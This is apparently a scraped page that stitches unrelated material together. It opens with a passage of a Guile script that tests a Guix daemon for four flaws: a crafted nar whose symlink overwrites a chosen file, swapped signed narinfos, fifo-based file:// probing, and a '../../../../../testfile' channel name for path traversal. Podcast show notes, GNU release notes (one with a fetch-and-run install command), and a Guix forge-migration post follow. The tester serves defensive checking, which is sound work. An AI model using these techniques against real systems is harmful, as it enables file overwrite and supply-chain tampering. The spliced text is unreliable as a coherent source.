(gnu packages esolangs)
(srfi srfi-1)
(srfi srfi-26)
(srfi srfi-31)
(srfi srfi-34)
(rnrs bytevectors)
(ice-9 atomic)
(ice-9 binary-ports)
(ice-9 control)
(ice-9 match)
(ice-9 popen)
(ice-9 rdelim)
(ice-9 textual-ports)
(ice-9 threads)
(web response)
(web request)
(web uri)
(web server)
(web server http))
;; 1. restore-file
;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path. Have http
;; server serve the signed narinfo with the URLs replaced with its own. When
;; the nar is requested, serve the invalid nar. Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents. We're vulnerable if and only if it does.
(define target-file
"/tmp/guix-restore-file-vulnerable")
(define target-substitutable-package
;; pick something obscure but in the main guix channel, so it is either not
;; currently valid or can probably be gc'ed. This is just to make the test
;; more reliable - in real exploitation, an attacker can sit around and wait
;; for any substitute request to be made, but here we need to provoke one in
;; a timely manner.
cfunge)
(define substitute-servers
(with-store store
(substitute-urls store)))
;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)
(define (package->path+narinfo store package)
(define path
(derivation->output-path (run-with-store store (lower-object package))))
(match (lookup-narinfos/diverse substitute-servers (list path)
valid-narinfo?)
((info) (values path info))
(() (values #f #f))))
(define (restore-file-vuln?)
(define-values (target-path target-info)
(call-with-values (lambda ()
(with-store store
(package->path+narinfo store
target-substitutable-package)))
(lambda (path info)
(unless info
(error "can't find substitutable path to test 'restore-file' with\n"))
(with-store store
(when (valid-path? store path)
(when (null? (delete-paths store (list path)))
(error "can't delete substitutable path to test 'restore-file' with\n"))))
(values path info))))
(define new-target-info-contents
(let* ((contents (narinfo-contents target-info))
(signature-index (string-contains contents "Signature:"))
(after-signature-index (string-index contents #\newline
signature-index))
(signed-contents (string-take contents (or after-signature-index
(string-length
contents)))))
(string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))
;; We can't delete target-file if it's owned by root, so overwrite it with
;; fresh, mostly-random contents each time, and check that the contents match.
(define test-contents
(format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))
(define test-nar
(call-with-output-bytevector
(lambda (port)
(for-each (lambda (s)
(write-string s port))
`("nix-archive-1"
"(" "type" "directory"
"entry" "(" "name" "a"
"node" "(" "type" "symlink"
"target" ,target-file ")" ")"
"entry" "(" "name" "a"
"node" "(" "type" "regular"
"contents" ,test-contents ")" ")"
")")))))
(define bad-request
(build-response #:code 400 #:reason-phrase "Unexpected request"))
(define target-uri-path
(string-append "/" (store-path-hash-part target-path) ".narinfo"))
(define nar-uri-path "/example.nar")
(define (handle request body)
(cond
((not (eq? (request-method request) 'GET))
(values bad-request ""))
((string=? (uri-path (request-uri request)) target-uri-path)
(format (current-error-port)
"Returning narinfo pointing to test nar~%")
(values (build-response #:code 200)
new-target-info-contents))
((string=? (uri-path (request-uri request)) nar-uri-path)
(format (current-error-port) "Returning test nar~%")
(values (build-response #:code 200)
test-nar))
(else
(values bad-request ""))))
(call-with-port (socket PF_INET SOCK_STREAM 0)
(lambda (sock)
(setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
(bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
(listen sock 5)
(let* ((port-number (sockaddr:port (getsockname sock)))
(substitute-url (string-append "http://localhost:"
(number->string port-number)
"/"))
(server-thread (call-with-new-thread
(lambda ()
(run-server handle http
`(#:socket ,sock))))))
(with-store store
(set-build-options store
#:substitute-urls (list substitute-url))
(guard (c ((store-error? c)
;; XXX doesn't actually cancel until something tries
;; connecting
(cancel-thread server-thread)
;;(join-thread server-thread)
(and (file-exists? target-file)
(string=? (call-with-input-file target-file
get-string-all)
test-contents))))
(build-things store (list target-path))
;; If the substitution actually completes without throwing then we
;; are most definitely vulnerable, but not just in 'restore-path'.
(error "!!!substitution of invalid nar completed???!!!")))))))
;; 2. fetch-narinfos
;; Identify two substitutable paths P1 and P2. Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable. Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's. If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.
;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.
(define (fetch-narinfos-vuln?)
(define-values (hello-path hello-info)
(with-store store (package->path+narinfo store hello)))
(define-values (sed-path sed-info)
(with-store store (package->path+narinfo store sed)))
(define bad-request
(build-response #:code 400 #:reason-phrase "Unexpected request"))
(define hello-uri-path
(string-append "/" (store-path-hash-part hello-path) ".narinfo"))
(define sed-uri-path
(string-append "/" (store-path-hash-part sed-path) ".narinfo"))
(define (handle request body)
(cond
((not (eq? (request-method request) 'GET))
(values bad-request ""))
((string=? (uri-path (request-uri request)) hello-uri-path)
(format (current-error-port) "Returning sed when asked for hello~%")
;; Return the wrong result
(values (build-response #:code 200)
(narinfo-contents sed-info)))
((string=? (uri-path (request-uri request)) sed-uri-path)
(format (current-error-port) "Returning hello when asked for sed~%")
;; Return the wrong result
(values (build-response #:code 200)
(narinfo-contents hello-info)))
(else
(values bad-request ""))))
(unless (and hello-info sed-info)
(error "can't find substitutable paths to test 'fetch-narinfos' with"))
(call-with-port (socket PF_INET SOCK_STREAM 0)
(lambda (sock)
(setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
(bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
(listen sock 5)
(let* ((port-number (sockaddr:port (getsockname sock)))
(substitute-url (string-append "http://localhost:"
(number->string port-number)
"/"))
(server-thread (call-with-new-thread
(lambda ()
(run-server handle http
`(#:socket ,sock))))))
(with-store store
(set-build-options store
#:substitute-urls (list substitute-url))
(let ((substitutables
(substitutable-paths store (list hello-path sed-path))))
;; XXX doesn't actually cancel until something tries connecting
(cancel-thread server-thread)
;;(join-thread server-thread)
(not (null? substitutables))))))))
;; 3. file-uris
;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable. It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.
(define (file-uris-vuln?)
(if (zero? (getuid))
"Unknown, can't test as root because its settings are trusted"
(call-with-temporary-directory
(lambda (directory)
(define testfifo
(string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
(define opened? (make-atomic-box #f))
(define store-item
(string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))
(define open-thread
(begin
(mknod testfifo 'fifo #o744 0)
(call-with-new-thread
(lambda ()
(call-with-port (open testfifo O_WRONLY)
(lambda (port)
(atomic-box-set! opened? #t)))))))
(with-store store
(set-build-options store
#:substitute-urls (list (string-append "file://" directory)))
(guard (c ((store-error? c)
(cancel-thread open-thread)
(delete-file testfifo)
;; even though the file it is trying to open no longer
;; exists, the kernel doesn't give a result to open-thread
;; until someone ptraces it (or maybe sends a signal or
;; something).
;; (join-thread open-thread)
(atomic-box-ref opened?)))
(substitutable-paths store (list store-item))
(error "not supposed to get here!\n")))))))
;; 4. cache-key
;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.
;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
"https://codeberg.org/guix-science/guix-science.git")
(define (create-test-channel directory channel-name)
"Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
(define intro-commit
"b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")
(define end-commit ;; The commit following intro-commit
"5a2d9baeda971df575c017669bca8eb8faa22ebd")
(define fingerprint
"CA4F 8CF4 37D7 478F DA05 5FD4 4213 7701 1A37 8446")
(define git %git) ;; From (guix config), guix has a hard dependency on git
(with-directory-excursion directory
(invoke git "init"
;; Silence warning
"--initial-branch=main")
(invoke git "remote" "add" "--" "origin" guix-science-url)
(invoke git "fetch" "--" "origin" end-commit)
(invoke git "checkout" "FETCH_HEAD")
(invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
(values
(channel
(name channel-name)
(url (canonicalize-path directory))
(introduction (make-channel-introduction
intro-commit
(openpgp-fingerprint fingerprint))))
intro-commit
end-commit)))
(define (cache-key-vuln?)
(call-with-temporary-directory
(lambda (directory)
(let ((home (string-append directory "/home"))
(channel-repo (string-append directory "/channel-repo"))
(testfile (string-append directory "/testfile")))
(mkdir home)
(mkdir channel-repo)
(with-environment-variables `(("HOME" ,home)
("XDG_CACHE_HOME" ,(string-append home
"/.cache")))
(call-with-values
(lambda ()
(create-test-channel channel-repo
(string->symbol "../../../../../testfile")))
(lambda (channel first-commit last-commit)
(authenticate-channel channel channel-repo last-commit
#:keyring-reference-prefix "")))
(file-exists? testfile))))))
;; Results
(define vulnerabilities
(list (list "restore-file" restore-file-vuln?)
(list "fetch-narinfos" fetch-narinfos-vuln?)
(list "file-uris" file-uris-vuln?)
(list "cache-key" cache-key-vuln?)))
(define (call-with-errors-to-string proc)
(define tag (make-prompt-tag))
(call-with-prompt tag
(lambda ()
(with-throw-handler #t
proc
(rec (self key . args)
(let* ((stack (make-stack #t
1 ;self ;; Causes make-stack to return #f??
tag
))
(frames (stack-length stack))
(frame (stack-ref stack 0)))
(define error-string
(match args
(((or (? string? proc) (? symbol? proc))
(? string? message) (args ...) . rest)
(call-with-output-string
(lambda (port)
(display-error frame port proc message args
rest))))
(args
(call-with-output-string
(lambda (port)
(print-exception port frame key args))))))
(display-backtrace stack (current-error-port))
(display error-string (current-error-port))
(abort-to-prompt tag (string-append "error: "
(string-trim-both
error-string)))))))
(lambda (_ . args)
(apply values args))))
(define results
(map (match-lambda
((name proc)
(list name (if (string? proc)
proc ;; pass message through
(call-with-errors-to-string proc)))))
vulnerabilities))
(for-each (match-lambda
((name vulnerable?)
(format #t "~a: ~a~%"
name
(if (boolean? vulnerable?)
(if vulnerable? "vulnerable" "not vulnerable")
vulnerable?))))
results)
(exit (if (any second results) 1 0))Why setting up commercial email and VPN services is incredibly hard, avoiding TrueNAS’s move from FreeBSD to Linux, why we avoid virtualising storage systems, and bridging WiFi to an external building.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Using Object Storage with OpenZFS and SeaweedFS
Discussion
Jeff Moss explains why setting up private email and VPN services are so difficult
Feedback
Free consulting
We were asked about bridging WiFi to an external building.
Point-to-point Wi-Fi bridging between buildings—the cheap and easy way
We finally have pricing for the Steam Machine, but they are very hard to actually buy, and very expensive. SteamOS is now supported on your own hardware now though, and Joe gives it a go. Plus Ubuntu makes moves to tighten up the flavours situation and announces speech to text on the desktop, and a quick KDE Korner.
News
Valve opens Steam Machine pre-orders with queue lottery and hefty prices amid AI squeeze
Valve’s Steam Machine ships June 29 for $1,049, but you probably won’t be able to buy one yet
Valve will finally let you build your own Steam Machine with SteamOS for desktop [archived]
$100 Steam Machine GPU Unlocked! PS5 APU (ASRock BC-250)
Ubuntu Flavors Now Mandated To Participate In Beta Releases For Official Status
Introducing Myna: Speech to Text for Ubuntu Desktop
KDE Korner
Get started with Union, Plasma’s new theming engine, in 2 minutes or less: a FAQ
Support us on patreon and get an ad-free RSS feed with some early episodes
28 June 2026 Unifont 17.0.05 is now available. This is a minor release aligned with Unicode 17.0.0.
This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t". Many other Chinese glyphs have been added. See the ChangeLog file for details.
Download this release from GNU server mirrors at:
https://ftpmirror ... /unifont-17.0.05/
or if that fails,
https://ftp.gnu.o ... /unifont-17.0.05/
or, as a last resort,
ftp://ftp.gnu.org ... /unifont-17.0.05/
These files are also available on the unifoundry.com website:
https://unifoundr ... /unifont-17.0.05/
Font files are in the subdirectory
https://unifoundr ... 0.05/font-builds/
A more detailed description of font changes is available at
https://unifoundr ... nifont/index.html
and of utility program changes at
https://unifoundr ... nt-utilities.html
Information about Hangul modifications is at
https://unifoundr ... hangul/index.html
and
http://unifoundry ... l-generation.html
The bit of code we admire most and why. This is a short episode because Joe is having a summer break.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
The bit of code we admire most and why. This is a short episode because Joe is having a summer break.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
GNU Parallel 20260622 ('Rape Gang Inquiry') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
-- boomertsfx@reddit
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
12345678 c555f616 391c6f7c 28bf9380 44f4ec50
$ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
70727536 3428aa9e 9a136b9a 7296dfe4
$ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
$ bash install.sh
Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
The one tool in our IT tool belt that we value the most. This is a short episode because producer Joe is having a summer break.
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
qmail-queue issue on OpenBSDnetqmail sono ora compatibili con le nuove versioni di gcc e clang.netqmail-1.07 i vecchi sorgenti di netqmailThe one tool in our IT tool belt that we value the most. This is a short episode because Joe is having a summer break.
Our favourite little things about Linux and open source. This is a short episode because Joe is having a summer break.
Support us on patreon and get an ad-free RSS feed with some early episodes
A year ago, Guix migrated to Codeberg for source code hosting, issue tracking, and pull requests. This is a significant change for a project with more than 400 people contributing code each year, after more than decade hosting code at Savannah and dealing with bug reports and patches by email, tracked by a Debbugs instance. This article discusses the process that led to this change and lists some takeaways, a year later.
For years before, the question of our choice of source code hosting and collaboration tools would regularly come up. However, with a community effectively built around the existing tools and workflows, a change to a pull-request workflow was far from obvious—even if many would admit that yes, pull requests are more familiar to many younger hackers than patches and bug reports by email.
Active contributors were efficient with the email workflow—often thanks to Emacs and/or to top-notch email clients—while at the same time being critical of “modern” Web-based forges: after all, Debbugs weighs in at a few hundred lines of Perl, building upon the battle-tested standards and built-in federation of email, whereas a forge like Forgejo is much bigger with hundreds of Go dependencies.
A further complication is that, over time, contributors had built tools around this workflow: mumi would provide a nice web interface to Debbugs and the Quality Assurance service would automatically apply patch series in a Git branch and build packages from that branch—to give the most visible examples. Migrating was all but obvious.
Despite these achievements, dissatisfaction was palpable though, even more so when Steve George (a.k.a. Futurile) published the results of the first user and contributor survey in January 2025, with feedback from no less than 900 people. For contributors who took part in the survey, the email workflow was often mentioned as a hindrance.
As if things were not difficult enough, there was no “benevolent dictator” that the project could rely on to make a sharp decision. Instead, in December 2024, the project adopted a process for collective decision-making: the Guix Consensus Document (GCD) process. The process is ambitious: instead of merely asking “project members” (a concept that needs to be properly defined!) to vote on proposals, authors of proposals are expected to work with everyone to build consensus on the proposal; participants cannot merely “oppose” a proposal but should instead express their needs and suggest concrete changes to address them. At the end of the process, participants can “support”, “accept”, or “disapprove” the final revision of the proposal.
It is too early to tell whether the GCD process will stand the test of time—as of this writing seven proposals were submitted through this process, with varying outcomes—but it surely proved to be a good way to work collectively on the forge migration issue, which was the first real-world use of the GCD process.
GCD 002 was submitted in February 2025 as a proposal to migrate to Codeberg for source code hosting and collaboration. The discussion lasted for two months—the maximum duration permitted by the process—with contributions by many people. Two thirds of the Guix team members participated in the deliberation, among which 72% expressed “support” while the remaining 28% merely “accepted” the proposal; nobody “disapproved” it so the proposal came into force in early May 2025.
The discussion showed that many long-time contributors were not comfortable with the idea of moving to a workflow largely perceived as Web-first and inefficient compared to the email workflow. The idea of abandoning part of the infrastructure carefully built around the email workflow over the years was also unappealing. Yet, the prospect of reaching out to a broader community and improving the developer experience for many was probably a driving force that led to this positive outcome.
One thing in the proposal that didn’t trigger much debate though is the preference both for a free-software-based forge and for one hosted by a non-profit, Codeberg e.V. This choice is very much in line with the Guix ethos.
As agreed-upon in the GCD, the switch to Codeberg was incremental: the main repository was migrated on May 25th, 2025, with the former repository still available as a mirror today; the former issue and patch tracker was kept active until January 1st, 2026, when Codeberg issues and pull requests became the only supported mechanisms (but older bug reports and patches remain accessible on-line).
Thanks to the planning devised during the consensus-building discussion, there were few hiccups and surprises when we switched. The quality of service achieved by the Codeberg e.V. employees and volunteers has been very good and the occasional downtime was usually short and clearly communicated.
For some of us, the main difficulty was to adapt to the new workflow.
For those who prefer a workflow out of the browser, the good news is
that Emacs interfaces—fj.el
and more recently
Emacs-Forgejo—have
been getting better everyday thanks to their amazing developers; the
ability to create pull requests using the AGit
workflow
has also helped bring peace and harmony.
The one issue that wasn’t sufficiently anticipated is continuous integration for pull requests. The part of qa.guix.gnu.org that would previously build packages for patches sent by email was not ported to Codeberg. For several months, it was up to reviewers to make sure that pull requests would not break anything—a situation that was not sustainable.
In September 2025, an instance of
Cuirass was set up at
pulls.ci.guix.gnu.org to
finally build pull requests. This was initially seen as a
stopgap because of
several limitations compared to what qa.guix.gnu.org would previously
do—such as the fact that packages now get built for a single
architecture. However, one advantage for newcomers is that feedback is
immediately visible: Cuirass sends reports indicating success or failure
directly in pull requests as
guix-cuirass-bot.
One of the intuitions and hope we had when we decided to migrate to Codeberg is that the pull-request workflow and its Web interface would allow us to reach out to a broader set of contributors. How did it go?
A first insight is that the commit rate—measured as the number of commits pushed on the main branch—is a noisy metric that doesn’t reveal much. What we see by looking at the period from May 2024 to May 2026 (so one year before and one year after the migration) essentially shows that the commit rate remained essentially between “high” and “very high”:
(As an aside, where are the tools to plot statistics like this from a Git repository? I found myself hacking something together.)
Looking at contributions is more insightful. The plot below shows the number of monthly commit authors, the number of monthly committers, and the number of new commit authors each month (people who authored a commit for the first time in the Git history) for that same period.
The number of monthly authors, including new authors, keeps growing. There was a peak both in the number of authors and number of newcomers in June 2025, right after the migration to Codeberg, but for the rest growth appears to be comparable in the 2025–2026 half and in the 2024–2025 half. Guix keeps attracting new contributors but there wasn’t a significant “Codeberg effect”.
The slight increase in number of monthly committers compared to the sharper increase in number of authors might suggest that committers are more “productive”, handling more contributions.
Since the user survey highlighted some contributors were frustrated by the delay or the lack of response on contributed patches—a problem that many free software projects struggle with—a question is how well Guix deals with that today. The graph below shows the creation and closing rate of pull requests per month over the past year, together with the monthly backlog (pull requests opened the month before or earlier and still opened). This data was acquired using the amazing Forgejo interface.
This again shows an impressive rate of incoming code—more than 500 pull requests opened each month!—and an equally impressive, but slightly lower, merge rate, leading to a constantly-increasing backlog. A similar backlog was observed on Debbugs before. Today, there are about 639 opened pull requests out of 6,459 ever opened, or 10%; for comparison, Nixpkgs has 12k opened pull requests out of 473k ever opened, or 2.5%. This concerning backlog in Guix can perhaps be attributed to excessive friction and/or insufficient continuous integration feedback.
One source of friction is the requirement for each commit to be signed by an authorized committer. Unlike many other projects, including Nixpkgs, this requirement means that a person needs to take responsibility and to apply and sign changes they merge, as opposed to just clicking the “Merge” button. In a way, we’re trading developer convenience for user security. It’s a tradeoff we’re willing to make because we care about securing the “software supply chain”, but we have yet to see if this cost can be mitigated in some way.
On the bright side, and although this is harder to measure, one positive impact of the move to Codeberg is that activity within the project is more legible. I already mentioned continuous integration that provides feedback directly in pull requests, such that contributors immediately discover it, but there’s more.
Guix teams
are reified as Codeberg teams and their scope is given the CODEOWNERS
file such
that the right people are pinged. A bot also adds a corresponding
label—e.g., the team-python label for what’s in the scope of the
Python team—allowing for issue and pull request filtering by label.
However, teams are not notified of issues tagged with the corresponding
label, which is
irritating.
Other features such as cross-references among issues/pull requests as well as milestones also appear to facilitate collaboration.
This is nice and all but there’s still room for improvement.
Our infrastructure could use some help. Build power for pulls.ci.guix.gnu.org should be increased, ideally with also more diversity—building for non-x86 architectures would be great! Cuirass itself has a number of shortcomings; some are being addressed for the upcoming 1.4.x series but there’s more work to be done. And also, pulls.ci.guix.gnu.org remains very much package-oriented; it would be nice, when appropriate, to run system tests as well.
The packager workflow still leaves a bit to be desired, in particular with regards to topic branches and world rebuild scheduling, which is still mostly tied to… our otherwise retired bug tracker.
We also want to remain good citizens, not causing excessive load on Codeberg servers (oops!) and keeping an eye on storage use: a single “fork” of Guix could exceed Codeberg’s new per-user quota of 750 MiB. The solution would be to require new contributors to use the AGit workflow to create pull requests. AGit is already popular among Guix contributors; however, the idea of requiring it is seen as a “downgrade” by some because it lacks the familiarity of the “regular” pull request workflow. One way to mitigate that might be to make it more discoverable with an “AGit fork” icon as was done for Gentoo.
Part of being a good citizen, for Guix and for Codeberg e.V., is listening to and accounting for one another’s concern, and this has worked beautifully so far. Guix Foundation recently voted to become a supporting (non-voting) member of Codeberg e.V. as a way to express gratitude and support.
Oh, breaking news: a pull request adding Forgejo and a service to set it up on Guix has just been submitted! Purely declarative configuration, fully reproducible deployment of a forge—can you imagine⁈ Symbiosis at play.
Many thanks to Steve “Futurile” George, Noé Lopez, and Maxim Cournoyer for reviewing an earlier draft of this post.
Did your pip install fail with longintrepr.h: No such file or directory? The file likely is on your system, but it sometime or another it was moved, from /usr/include/python3.xx/longintrepr.h to /usr/include/python3.xx/cpython/longintrepr.h. The proper fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this:
ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include
The most precious machine in our stack of laptops and PCs, excluding anything we actually use regularly. This is a short episode because Joe is having a summer break.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Wiring up a house for networking including cables, access points, connectors, and racks. Plus Google is found liable for what its AI overviews say.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Managing Cache and DirectIO for Databases on ZFS
Webinar: June 30th @ 11am EDT: FreeBSD After Hours AMA
News/discussion
Free consulting
We were asked about wiring up a house for access points etc.
Jim’s guide to Wi-Fi AP placement
Monoprice 24-port Cat5e Patch Panel
This is to announce CSSC-1.5.0-rc3, a beta release.
This is a release candidate for a future stable 1.5.0 release.
There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Greg A. Woods (1)
Paul Bryce (2)
James Youngman (43)
James
==================================================================
Here is the GNU CSSC home page:
https://gn ... rg/s/CSSC/
Here are the compressed sources and a GPG detached signature:
https://alpha.gnu ... -1.5.0-rc3.tar.gz
https://alpha.gnu ... .0-rc3.tar.gz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html
Here are the SHA256 and SHA3-256 checksums:
File: CSSC-1.5.0-rc3.tar.gz
SHA256 sum: a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify CSSC-1.5.0-rc3.tar.gz.sig
The signature should match the fingerprint of the following key:
pub rsa4096 2015-12-24 [SC]
0CF4 E8D8 7159 3224 8428 32B8 88DD 9E08 C5DD ACB9
uid James Youngman <james@youngman.org>
uid James Youngman <jay@gnu.org>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key james@youngman.org
gpg --recv-keys 88DD9E08C5DDACB9
wget -q -O- 'https://savannah. ... SC&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig
This release is based on the CSSC git repository, available as
git clone https://https.git ... .org/git/CSSC.git
with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.
For a summary of changes and contributors, see:
https://gitweb.gi ... tlog;h=v1.5.0-rc3
or run this command from a git-cloned CSSC directory:
git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df
NEWS
* Some typos in error message have been fixed.
* admin now supports combination of -r with -n as well as the
portable combination of -r with -i.
* Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper.
Thanks to Greg A. Woods for this improvement.
* In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep. Some very old
versions of Unix may not support this option.
* Various C++ portability improvements.
version at which it still supported building with Automake.
The new Steam hardware is getting close, Arch Linux’s AUR is compromised, and curl is having a month off from vulnerability reports. Plus updates on using the Kagi search engine, retro handhelds, and 3D printing.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
News
Steam Machine and Steam Frame are shipping this summer
Valve just imported 13 tons of VR headsets in one day [archived] 2
Arch Linux’s AUR Sees More Than 400 Packages Compromised With Malware 4.5
Arch Linux Now Believes Malware Incident Under Control: More Than 1,500 Affected Packages
Arch Linux AUR Hit By Another Wave Of Now More Sophisticated Malware Attack
Arch Linux locks down AUR signups amid wave of malicious commits
Retro gaming handhelds
We get into the process of working on and with formal protocol specifications, something Andy is familiar with from his work on Matrix.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We get into the process of working on and with formal protocol specifications, something Andy is familiar with from his work on Matrix.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Having recently moved house, Gary wonders how to reconfigure his homelab and network setup. Plus Shane is fed up with GitHub’s outages and formulates a plan to move away… somewhere…
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
People were locked out of their password managers to stop a brute force attack, Coreutils come to Windows, a FreeBSD PR effort backfires, and the best simple consumer WiFi gear.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Why ZFS Is the Ideal Filesystem for Multi-User/Department Media Production
Webinar: June 30th @ 11am EDT: FreeBSD After Hours AMA
News/discussion
Password manager Dashlane suspends customer accounts amid brute-force attacks
Microsoft Announces Coreutils For Windows: Derived From Rust Coreutils
FreeBSD Foundation Executive Director Tries Daily Driving FreeBSD On Laptop
Free consulting
We were asked about the best simple consumer WiFi gear.
